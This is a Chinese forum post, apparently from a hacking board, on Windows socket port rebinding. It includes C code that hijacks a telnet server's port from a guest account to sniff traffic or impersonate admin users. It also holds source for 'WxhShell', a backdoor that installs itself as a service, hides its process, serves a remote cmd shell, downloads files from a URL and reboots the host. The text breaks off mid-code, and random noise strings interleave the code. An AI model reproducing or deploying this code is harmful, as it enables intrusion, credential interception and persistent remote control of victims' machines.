-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Hd}t=6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vx ,6::%] 1Ee>pbd saddr.sin_family = AF_INET; C8SNSeg dNmX<WXG saddr.sin_addr.s_addr = htonl(INADDR_ANY); M#IR=|P] 6/C bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J)~=b_'< g4932_tC 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 k.hSN8 gKEvgXOj 这意味着什么?意味着可以进行如下的攻击: V3nv5/6 7[,f;zG 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 unB "dE SQRz8,sqkw 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uATRZMai UzRF'<TWf 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S!c@6&XJm? @uWD>(D 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 U;Wmx 7E]l=Z`x 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p#I1l2nE X> KsbOZ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 cE#Y,-f ucO]&'hu: 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Kqjeqr@) b?^<';,5 #include "@Fxfd+Ot #include vdM\scO: #include uSbg*OA #include }gt~{9?c DWORD WINAPI ClientThread(LPVOID lpParam); ,4UJ|D=J int main() 3`I_ { 0 <;B2ce WORD wVersionRequested; vpMv DWORD ret; auv\fR : WSADATA wsaData; an$h~}/6: BOOL val; Mqy`j9FbL SOCKADDR_IN saddr; Ku# _ SOCKADDR_IN scaddr; ;W"[,#2TM int err; r
+fzmb SOCKET s; 3sNq3I SOCKET sc; "*WXr$ int caddsize; 1Sr}2@> HANDLE mt; HyMb-Us DWORD tid; sJvn#cS wVersionRequested = MAKEWORD( 2, 2 ); `_
L|Is=n err = WSAStartup( wVersionRequested, &wsaData ); C<)&qx3 if ( err != 0 ) { Ved:w^
, printf("error!WSAStartup failed!\n"); F!<x;h( return -1; 8hY)r~!b' } G
0 yt%qHE saddr.sin_family = AF_INET; q5Mif\ 1jb@nxRjO //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 f#+ h_1# /+7L`KPD saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Cm>F5$l{ saddr.sin_port = htons(23); ivk|-C'\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M>j)6?n`_ { q fe#k F9 printf("error!socket failed!\n"); vUA,` return -1; }2{#=Elh } XUHY.M val = TRUE; _Fjv.VQ, //SO_REUSEADDR选项就是可以实现端口重绑定的 >aK&T" if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q.yoxq { e%\K I\u printf("error!setsockopt failed!\n"); AJ}Q,E return -1; w5Z3e^g } gsH_pG-jU //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CaMG$X&O //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VP&lWPA}\$ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ShP V!$0 `.XU|J*z, if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Ab)7hCUW { Z5K,y19/~ ret=GetLastError(); cPSpPx printf("error!bind failed!\n"); +aap/sYp return -1; 5kz`_\& } 4RNzh``u listen(s,2); }"v"^5 while(1) |Can { J)_42Z caddsize = sizeof(scaddr); $Re
%+2c //接受连接请求 FS0SGBo sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V7<}
;Lzm if(sc!=INVALID_SOCKET) M9nYt~vHX { xOH@V4z: mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jLg4_N1SD if(mt==NULL) G.8ZISN/ { W:G*t4i printf("Thread Creat Failed!\n"); LvaF4Y2v break; +X%yF{^m( } X-)6.[9f } #kA+Yqy\) CloseHandle(mt); &M0v/!%L } C;|Ru* closesocket(s); 2Qy&V/E ? WSACleanup(); tee%E=P return 0; uU0'y4= } ic+iTH DWORD WINAPI ClientThread(LPVOID lpParam) (J;<&v}Gad { <ZLs+|1 SOCKET ss = (SOCKET)lpParam; qmGB~N|N SOCKET sc; *(J<~:V? unsigned char buf[4096]; ;S/fe(C
SOCKADDR_IN saddr; .W\Fa2}%av long num; IN"qJ3<k DWORD val; E*zk?G| DWORD ret; +9t@eHJT1 //如果是隐藏端口应用的话,可以在此处加一些判断 fsu'W]f //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 FK>rc3 q saddr.sin_family = AF_INET; mb/Y saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B(hNBq7 saddr.sin_port = htons(23); .+.Pc_fv if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Im2g2] { ]4PG[9J@ printf("error!socket failed!\n"); 0T*jv! q> return -1; w$_ooQ(_;Q } BTB,a$P/ val = 100; JkTL+obu if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n:{yri+ { gg =z.`} ret = GetLastError(); \%#jT GFs~ return -1; |
=&r)
~ } pdM|dGq^ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |"arVde { zPn8>J<.0Q ret = GetLastError(); zT@vji%Y return -1; |dvcDx0|K } D*b>
l_ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) oPi)#|jcb { Ty>`r n printf("error!socket connect failed!\n"); Wjp<(aY[ closesocket(sc); Mw <1 closesocket(ss); CR<*<=rI return -1; 5}f$O } HRk+2'wjAz while(1) .d;/6HD[y { kC)dia{$ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Xo
P]PR`cQ //如果是嗅探内容的话,可以再此处进行内容分析和记录 lw7wvZD //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0 }q/VH57 num = recv(ss,buf,4096,0); ,%u\2M if(num>0) |yS4um(w send(sc,buf,num,0); @E1N9 S?> else if(num==0) ,MdCeA%` break; v+Hu=RZE num = recv(sc,buf,4096,0); r*$KF!-dg if(num>0) %gN8-~$1 send(ss,buf,num,0); C)`/Q( ^ else if(num==0) rz4S"4 break; :E.mU{ }
I3A](`
closesocket(ss); >[[< 5$,T closesocket(sc); {Tx+m;5F return 0 ; 27)$;1MT: } l-5-Tf&j mIOx)`$ 2e+DUZBoC ========================================================== |
r2'B zZkwfF 下边附上一个代码,,WXhSHELL qk+:p]2 `":< ]lj ========================================================== *0Fn C2W1 n{M!l\1 #include "stdafx.h" dz?:)5>I .iw+# #include <stdio.h> :[Fwc #include <string.h> {R(q7ALR #include <windows.h> o +&/ N-t #include <winsock2.h> dP )YPy_` #include <winsvc.h> [mX\Q`)QP #include <urlmon.h> h|wyvYKZ 5'@}8W3b #pragma comment (lib, "Ws2_32.lib") W;2y.2* #pragma comment (lib, "urlmon.lib") +3VY0J j
$L #define MAX_USER 100 // 最大客户端连接数 m%akx@{WL #define BUF_SOCK 200 // sock buffer Bp9
u6R #define KEY_BUFF 255 // 输入 buffer a93Aj HyZh27PE #define REBOOT 0 // 重启 ofsua?lSe #define SHUTDOWN 1 // 关机 (Ys0|I3 ^,,|ED\M{m #define DEF_PORT 5000 // 监听端口 *c. *e4uzF eP6>a7gc #define REG_LEN 16 // 注册表键长度 i9$
-lk #define SVC_LEN 80 // NT服务名长度 B\BP:;" >[NNu Y~ // 从dll定义API ZM0vB% M| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s+,JwV?b typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NU81 V0:jG typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZjbMk3Y typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h%Bp%Y9 Y'58.8hl // wxhshell配置信息 C&r&&Pw struct WSCFG { &!_>J0 int ws_port; // 监听端口 (|<}q-wO char ws_passstr[REG_LEN]; // 口令 G3m+E;o1 int ws_autoins; // 安装标记, 1=yes 0=no zGA#7W2?0 char ws_regname[REG_LEN]; // 注册表键名 1Z|q0-Dw0 char ws_svcname[REG_LEN]; // 服务名 h
~v8Q_6 char ws_svcdisp[SVC_LEN]; // 服务显示名 L -<!,CASW char ws_svcdesc[SVC_LEN]; // 服务描述信息 p%8y!^g char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K%)u zP int ws_downexe; // 下载执行标记, 1=yes 0=no *IfLoKS' char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ] vQn*T"^ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kk&
([xqU <$R'y6U: }; \vsfY *}Vg]3$4 // default Wxhshell configuration ?$%#y u#. struct WSCFG wscfg={DEF_PORT, wm_xH_{F "xuhuanlingzhe", Dhv ^}m@ 1, s@V4ny9x "Wxhshell", >E6w,Ab "Wxhshell", vT)FLhH6* "WxhShell Service", ,x&T8o/a "Wrsky Windows CmdShell Service", #,lJ>mTe4 "Please Input Your Password: ", [s"xOP9R 1, VI/77 " http://www.wrsky.com/wxhshell.exe", $zKf>[K "Wxhshell.exe" RX \%R }; 6;Wns' b dP @^Q // 消息定义模块 W:'H&`0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G*JasHFs char *msg_ws_prompt="\n\r? for help\n\r#>"; wa2?%y_G char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; !UDTNF?1 char *msg_ws_ext="\n\rExit.";
L3pNna char *msg_ws_end="\n\rQuit."; }I`"$2 char *msg_ws_boot="\n\rReboot..."; `B-jwVrN( char *msg_ws_poff="\n\rShutdown..."; oP!oU2eqK char *msg_ws_down="\n\rSave to "; 16Cd0[h? N6EG!* char *msg_ws_err="\n\rErr!"; !W^P|:Qt char *msg_ws_ok="\n\rOK!"; ~x4]^XS 5LM Ay" char ExeFile[MAX_PATH]; bdbTK8- int nUser = 0; t}w<xe HANDLE handles[MAX_USER]; ~U}0=lRVS int OsIsNt; a'r8J~:jy |ZC@l^a7 SERVICE_STATUS serviceStatus; x5jd2wSDx SERVICE_STATUS_HANDLE hServiceStatusHandle; #%5[8~& 0w<vc}{t // 函数声明 &P' d&B1
int Install(void); Y?IvG&]) int Uninstall(void); ?g+uJf
int DownloadFile(char *sURL, SOCKET wsh); G
LU7?2`t int Boot(int flag);
)&Af[mS void HideProc(void); zO)Bf( int GetOsVer(void); )jm!bR` int Wxhshell(SOCKET wsl); N.(wR void TalkWithClient(void *cs); -Ph"#R& int CmdShell(SOCKET sock); 4z6kFQgu int StartFromService(void); |q!O~<H@ int StartWxhshell(LPSTR lpCmdLine); @` 5P^H7 *QH~z2:[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pV[SY6/ VOID WINAPI NTServiceHandler( DWORD fdwControl ); _D.4=2@|l8 7!F<Uf,V3 // 数据结构和表定义 Tg/?v3M88 SERVICE_TABLE_ENTRY DispatchTable[] = !A":L0[7n { Smg z} {wscfg.ws_svcname, NTServiceMain}, `"Lk@ {NULL, NULL} cb82k[L6 }; 7G':h0i8 ;2N:
=Rv // 自我安装 mM(Z8PA9- int Install(void) uSQRI9/ir2 { @}\wec_ char svExeFile[MAX_PATH]; iewwL7 HKEY key; Xnc?oT+ strcpy(svExeFile,ExeFile); \&BT#8ELG 0(qtn9;=2 // 如果是win9x系统,修改注册表设为自启动 0fE?(0pBj if(!OsIsNt) { !KC4[;Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yi.GD~69 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SR>(GQ,m0; RegCloseKey(key); Jo'~oZ$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N||a0&& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vFwhe! RegCloseKey(key); q8SHFKE return 0; Bi-x
gq'z } z#HNJAQ#| } b]5/IT)@O } yByxy-~ else { Mh"iyDGA #u"$\[ G // 如果是NT以上系统,安装为系统服务 jI/#NCKE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k|4}Do%; if (schSCManager!=0) 7x=-1wbi { |Ml~_m SC_HANDLE schService = CreateService y3@m1>]09 ( thLx!t schSCManager, z?<Xx?Kk wscfg.ws_svcname, _J&IL!S2 wscfg.ws_svcdisp, >c)-o}bd^ SERVICE_ALL_ACCESS, ^UmhSxQ## SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q"0_Px9P SERVICE_AUTO_START, ^Ycn&`s SERVICE_ERROR_NORMAL, |BEoF[1 svExeFile, ] kdU]}z NULL, +OaBA>Jh9 NULL, ak_n NULL, *JArR1J NULL, 1EMrXnv, NULL QCJf ); h^v+d*R
N if (schService!=0) E3V_qT8 { ^6@6BYf) CloseServiceHandle(schService); ;iA$yw: CloseServiceHandle(schSCManager); n#PXMD* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K |^OnM strcat(svExeFile,wscfg.ws_svcname); p'4ZcCW?f if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T
s9go RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9}T(m(WQVu RegCloseKey(key); }xJ!0<Bs return 0; ~--b#o{ } 6
m%/3>q } *#.Ku(C+ CloseServiceHandle(schSCManager); 9]gV#uF } #X"fm1 } 8a;;MJ) .R^q$U~v3 return 1; .A F94OlE/ } +WE<S)z< th|'t}bWV // 自我卸载 ;"2(e7ir int Uninstall(void) )1/J5DI @8 { xf3;:soC HKEY key; jwp?eL!7 Bq~?!~\?. if(!OsIsNt) { J9);( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { awgS5We| RegDeleteValue(key,wscfg.ws_regname); H2{&da@D5 RegCloseKey(key); zB8J|uG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .Fx-$Yqy RegDeleteValue(key,wscfg.ws_regname); , }B{) RegCloseKey(key); YeI|&FMX return 0; o4H' } ._p^0UxT } !JQ'~#jKN } chur(@Af
else { R:y u X\|h:ce SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YK V"bI
if (schSCManager!=0) (m() r0:@ { 2Uy}#n|)r SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r)gtx!bx if (schService!=0) uA%cie { rsD?
;XzH if(DeleteService(schService)!=0) { Ubv_a CloseServiceHandle(schService); Zr|\T7w 3 CloseServiceHandle(schSCManager); T^@P.zX return 0; 6'|NALW } b?:SCUI CloseServiceHandle(schService); Uc0Sb } &ER,;^H`6 CloseServiceHandle(schSCManager); o(YF`;OhvS } Lf+3nN } CTZ#QiNP to#T+d.(v return 1; x8Nij:K# } i}kMo@ {^@qfkZz^ // 从指定url下载文件 G3D!ifho.# int DownloadFile(char *sURL, SOCKET wsh) Lu[xoQ~I { l j %k/u HRESULT hr; `7Dj}vVu char seps[]= "/"; $uUJV% EX char *token; SXRND;-W8 char *file; wV"C ,*V char myURL[MAX_PATH]; d=a$Gd_$ char myFILE[MAX_PATH]; +~?K@n -O6\!Wo=- strcpy(myURL,sURL); aFDCVm%U| token=strtok(myURL,seps); *h~(LH"tN while(token!=NULL) VMW<?V
2Z { hQLh}}B file=token; S %(R9N| token=strtok(NULL,seps); JT*Pm"} } ~!ICBF~j S^ JUQx7 GetCurrentDirectory(MAX_PATH,myFILE); +zzS strcat(myFILE, "\\"); 8_uh2`+Bvb strcat(myFILE, file); PF]Vt send(wsh,myFILE,strlen(myFILE),0); EK}QjY[i send(wsh,"...",3,0); nEh^{6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); baib_-$ if(hr==S_OK) pjNH0mZ return 0; fqZ+CzH else C/!8NV1:4 return 1; B:tGD@ (Ek=0;Cr } @v=A)L 33w(Pw // 系统电源模块 *Bx'g|
u int Boot(int flag) o88Dz}a { f/e2td*A HANDLE hToken; >}B~~C; TOKEN_PRIVILEGES tkp; ?]2OT5@&s D;OR?NdgvW if(OsIsNt) { 3bMUsyJ 2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !'
jXN82 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ybVdWOqv tkp.PrivilegeCount = 1; $:<G= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \:-N<[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ATf{;S} if(flag==REBOOT) { (1}"I
RX. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -O>*`
O>M return 0; 2O)2#N } W'M\DKJ? else { l|K`'YS!<{ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZUUfn~ORc return 0; Y\ G^W8 } :@q9ll`6u } nwAx47>{ else { T(6B, if(flag==REBOOT) { 8Zvh"Z? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f>C|qDmT return 0; -g)*v<Fb5 } IP+1 :M else { 4r>buEU if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?u8vK<2h return 0; |h65[9DMP } -}r(75C } d
3}'J b{Kw.?85 return 1; 9C)w'\u9+ } Eb=;D1)y] 'BwM{c-O" // win9x进程隐藏模块 =AJ I3'x void HideProc(void) wq"AW yu { &tw
=rDIU&0Y HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7<VfE`Q3 if ( hKernel != NULL ) ~+Da`Wp { wuTCdBu6hU pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i iZK^/P$ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J#y?^Qm$)< FreeLibrary(hKernel); ps6c>AN`A& } "Z6: d"S` t#h<'?\E return; +kTa>U<? } id.W"5+ y3!=0uPf // 获取操作系统版本 _A.?:'- int GetOsVer(void) =7`0hS<@F { 'E,Bl]8C5 OSVERSIONINFO winfo; 6\9 9WQ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hrRX= GetVersionEx(&winfo); -j_J1P0, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RKP->@Gs return 1; +xlxhF else `$\Y,9E}x return 0; <`q|6XWL } a".uS4x ^9UF
Pij" // 客户端句柄模块 g~@0p7]Y int Wxhshell(SOCKET wsl) K/u`Wz~A { f. =4p^ SOCKET wsh; 'gojP struct sockaddr_in client; 5Ffz^;i DWORD myID; u-h3xj 9Yowz]') while(nUser<MAX_USER) `8TM<az-L { (K+TqJw int nSize=sizeof(client); MNiu5-g5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p\8cl/~ if(wsh==INVALID_SOCKET) return 1; \6Ze H O.E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `B6{y9J6 if(handles[nUser]==0) r Q'tab.,] closesocket(wsh); 5@Q4[+5&_ else fwRlqfi nUser++; %1]2+_6 } q9oF8&O, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 43-%")bH 7`tnoTUv return 0; 2`vCQV } 7Yxy2[ d#a // 关闭 socket
jl2nRo void CloseIt(SOCKET wsh) ,/W<E { KF'H|)!K closesocket(wsh); *4qsM,t nUser--; -H`G6oMOO ExitThread(0); R\:C|/6f } vO{ijHKE ?/)5U}*M0T // 客户端请求句柄 =O)JPo&iwY void TalkWithClient(void *cs) ok\+$+$ju { i:kWO7aP H]=3^ g64 SOCKET wsh=(SOCKET)cs; `CK;,>i char pwd[SVC_LEN]; X{#@ :z$ char cmd[KEY_BUFF]; ^^?DYC
char chr[1]; 2ZtqZ64i int i,j; 9zO3KT2 D-3/?"n while (nUser < MAX_USER) { &,."=G ?GFxJ6!%I if(wscfg.ws_passstr) { hDlk! #* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^MJGY,r6b //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ip4NkUI3T //ZeroMemory(pwd,KEY_BUFF); X_'.@q<!CV i=0; Sc6wC H while(i<SVC_LEN) { SC2C%.%l` faO8
& // 设置超时 &ApJ'uC fd_set FdRead; % C
3jxt struct timeval TimeOut; 6eDIS|/ FD_ZERO(&FdRead); N@MeaO FD_SET(wsh,&FdRead); 4nl>&AV TimeOut.tv_sec=8; qfSoF| TimeOut.tv_usec=0; fSqbGoIQ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3Gp4%UT& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zW0AB8l INbjk;k if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^2kWD8c* pwd =chr[0]; iQ9#gPk_9 if(chr[0]==0xd || chr[0]==0xa) { U[A*A^$c} pwd=0; Ab2g),;c break; CY>NU } rIb[gm)Rk i++; (FjgnsW } u\e#_*> G'Q7(c // 如果是非法用户,关闭 socket )%y~{j+ M if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .v" lY2:N } rd,mbH[<C uPF yRWK send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u4<r$[]V send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]R4)FH|>< .897Z|$VB while(1) { 2 !;4mij, YQ]H3GA ZeroMemory(cmd,KEY_BUFF); y{<#pS. xeI ,Kz." // 自动支持客户端 telnet标准 ,K9UT#h j=0; `C*!de]Y% while(j<KEY_BUFF) { 40#KcbMa| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o`77gkLO cmd[j]=chr[0]; ]F@md(J if(chr[0]==0xa || chr[0]==0xd) { :>X7(&j8 cmd[j]=0; ?UfZ VyHv+ break; 5dgBSL$A}] } M)J *Df0@ j++; ^X&9"x)4 } "qj[[LQ `5 6QX'? // 下载文件 6#KI?
6 if(strstr(cmd,"http://")) {
yX-xVvlv@ send(wsh,msg_ws_down,strlen(msg_ws_down),0); s^oNQ} if(DownloadFile(cmd,wsh)) \9}5}X_x. send(wsh,msg_ws_err,strlen(msg_ws_err),0); @qC:% |> else Wl#^Eu\g1W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); llleo8 } k_a'a)`$6 else {
7k\7G= lXPn]iLJ switch(cmd[0]) { 4 P;O8KA5y b{I`$E<[ // 帮助
?:FotnU*p case '?': { Hxl,U>za# send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T8441qo{> break; <dN=d3S
} epbp9[` // 安装 =a!6EkX
* case 'i': { pMquu&Td if(Install()) `e9uSF:9C send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;:|KfXiC8 else $McO'Bye{h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'i(p@m<' break; Q'a N|^w"f } 1ZL_;k // 卸载 2wBU@T1 case 'r': { w+37'vQ if(Uninstall()) yo.SPd="Vx send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,>UmKrYo else &JlR70gdHi send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -{*V)J_Co break; 3kQ ^f=Wd } ]= NYvv>H // 显示 wxhshell 所在路径 nwo!A3w: case 'p': { ~yi&wbTjM char svExeFile[MAX_PATH]; 'U"3'jh strcpy(svExeFile,"\n\r"); 4LjSDgA strcat(svExeFile,ExeFile); 9AYe,R send(wsh,svExeFile,strlen(svExeFile),0); +2}(]J=- break; ,&?q}M } tlERis // 重启 y|Y3,s case 'b': { 1Kh?JH send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7h]R{ _ if(Boot(REBOOT)) Kk9 8FI0] send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;0!Wd else { 9,5II0N L closesocket(wsh); 62x< rph ExitThread(0); &&]!+fTZ\( } $M`;." break; ++!E9GU{ } is?&%VY // 关机 _<a)\UR case 'd': { j$|C/E5? send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r65NKiQD if(Boot(SHUTDOWN)) 3Gl]g/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); otSPi7|k else { rgzI closesocket(wsh); dO4#BDn"= ExitThread(0); ]0i2]=J&, } pmyM&'#Id break; Au._n,< } +@uC:3jM // 获取shell ^Ai_/! " case 's': { .r| vz6tU? CmdShell(wsh); p\_qHq\;j closesocket(wsh); GLQvAHC ExitThread(0); ]GtR8w@w break; 6J-}&U } eH!|MHe // 退出 $ XsQ e case 'x': { c;rp@_ULG? send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U\8#Qvghf CloseIt(wsh); q7 oR9 break; [E~,> Q } EjX'&"3. // 离开 x0A%kp&w case 'q': { cNr][AzU@ send(wsh,msg_ws_end,strlen(msg_ws_end),0); <Ihed| closesocket(wsh); mjl!Nth:< WSACleanup(); n{Qh8" exit(1); 3d'ikkXK break; y [9}[NMZ } A%*DQ1N } R,w54}, } T :S{3 Zc3:9 // 提示信息 e3={$A h if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z^`=!n-V } g}
~<!VpX } 3:8nwt 4Eh BpTg
return; :$cSQ(q9a } a H|OA\< khN:+V| // shell模块句柄 KvJP(!{ int CmdShell(SOCKET sock) )]b@eGNGj { K# i*9sM STARTUPINFO si; NVA`t]gn ZeroMemory(&si,sizeof(si));
):fu si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {.D2ON si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8cBW] \ v PROCESS_INFORMATION ProcessInfo; 3Ra\2(bR char cmdline[]="cmd"; S[hJ{0V CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E"1;i return 0; ?tC}M;~ } g.Caapy B
mBzOk^ // 自身启动模式 Z:Y.":[
Qi int StartFromService(void) h
GA0F9.U { &8_f'+i0 typedef struct KYRm
Ui# { (_&V9vat= DWORD ExitStatus; UGC|C F2K DWORD PebBaseAddress; p]V-< DWORD AffinityMask; .f !]@"\ DWORD BasePriority; 7z&adkG: ULONG UniqueProcessId; ;vv!qBl|@ ULONG InheritedFromUniqueProcessId; \,%o>M' } PROCESS_BASIC_INFORMATION; QVG0>,+}$ ;c
